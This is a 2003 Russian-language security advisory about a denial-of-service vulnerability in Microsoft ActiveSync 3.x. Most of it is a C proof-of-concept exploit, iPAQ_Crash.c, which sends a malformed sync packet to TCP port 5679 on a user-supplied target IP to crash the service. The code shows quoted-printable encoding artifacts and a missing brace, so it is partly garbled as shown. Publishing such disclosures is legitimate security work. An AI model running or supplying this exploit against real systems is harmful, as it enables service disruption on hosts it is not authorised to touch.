Security Lab

DoS против Microsoft ActiveSync

Дата публикации:24.03.2003
Всего просмотров:1476
Опасность:
Низкая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная сеть
Воздействие: Отказ в обслуживании
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Microsoft ActiveSync 3.x
Описание: Уязвимость отказа в обслуживании обнаружена в Microsoft ActiveSync. Удаленный пользователь может аварийно нарушить работу программы.

Information Risk Management сообщил, что удаленный пользователь может подключится к службе на 5679 TCP порту и послать некорректный "sync request" пакет, чтобы аварийно завершить работу программы. Уязвимость присутствует внутри функции WideCharToMultiByte().

Уязвимость обнаружена в Microsoft ActiveSync 3.5 (build 12007)


/* iPAQ_Crash.c - by Andy Davis*/
/* Strictly for testing purposes only */
/* Compile with Microsoft VC++ */

#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#define ASYNC_PORT 5679

int main(int argc, char **argv)
 

    unsigned char sendBuf[] =3D

/* Correct Header */

//"\x00\x00\x00\x00" /* Correct start of packet - by removing these 4 bytes=
 the crash occurs */=20
"\x6e\x00\x00\x00" /* Length of the rest of the packet */=20
"\x24\x00\x00\x00"=20
"\x03\x00\xa3\x2b"=20
"\x11\x0a\x00\x00"=20
"\x00\x00\x00\x00"=20
"\xc3\x1d\xdd\x0c" /* 0xc31ddd0c Device Identifier */=20
"\x00\x00\x00\x00"=20
"\x24\x00\x00\x00" /* 0x24 pointer to "Pocket_PC" */=20
"\x38\x00\x00\x00" /* 0x38 pointer to "PocketPC" */=20
"\x4a\x00\x00\x00" /* 0x4a pointer to "Compaq iPAQ H3800" */

/* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */

"\x50\x00\x6f\x00\x63\x00\x6b\x00\x65\x00\x74\x00"
"\x5f\x00\x50\x00\x43\x00\x00\x00\x50\x00\x6f\x00\x63\x00\x6b\x00"
"\x65\x00\x74\x00\x50\x00\x43\x00\x00\x00\x43\x00\x6f\x00\x6d\x00"
"\x70\x00\x61\x00\x71\x00\x20\x00\x69\x00\x50\x00\x41\x00\x51\x00"
"\x20\x00\x48\x00\x33\x00\x38\x00\x39\x00\x30\x00\x00\x00";


    struct sockaddr_in servAddr;
    int s;

	WSADATA WSAData;
		if(WSAStartup (MAKEWORD(1,1), &WSAData) !=3D 0)
		{
			printf("WSAStartup failed.\n");
			WSACleanup();
			exit(1);
		}


	if (argc !=3D 2)
	{
		printf ("\niPAQ_Crash\n");
		printf ("\nUsage: %s <target IP address>\n",argv[0]);
		exit (1);
	}



    servAddr.sin_family =3D AF_INET;
    servAddr.sin_addr.s_addr =3D inet_addr(argv[1]);
    servAddr.sin_port =3D htons(ASYNC_PORT);

    s =3D socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr));

    printf("Sending packet...");

	if ( send(s, sendBuf, 118, 0) =3D=3D 0)
    {
		printf("Error sending packet...quitting\n\n");
		exit (0);
    }


    closesocket(s);
    return(0);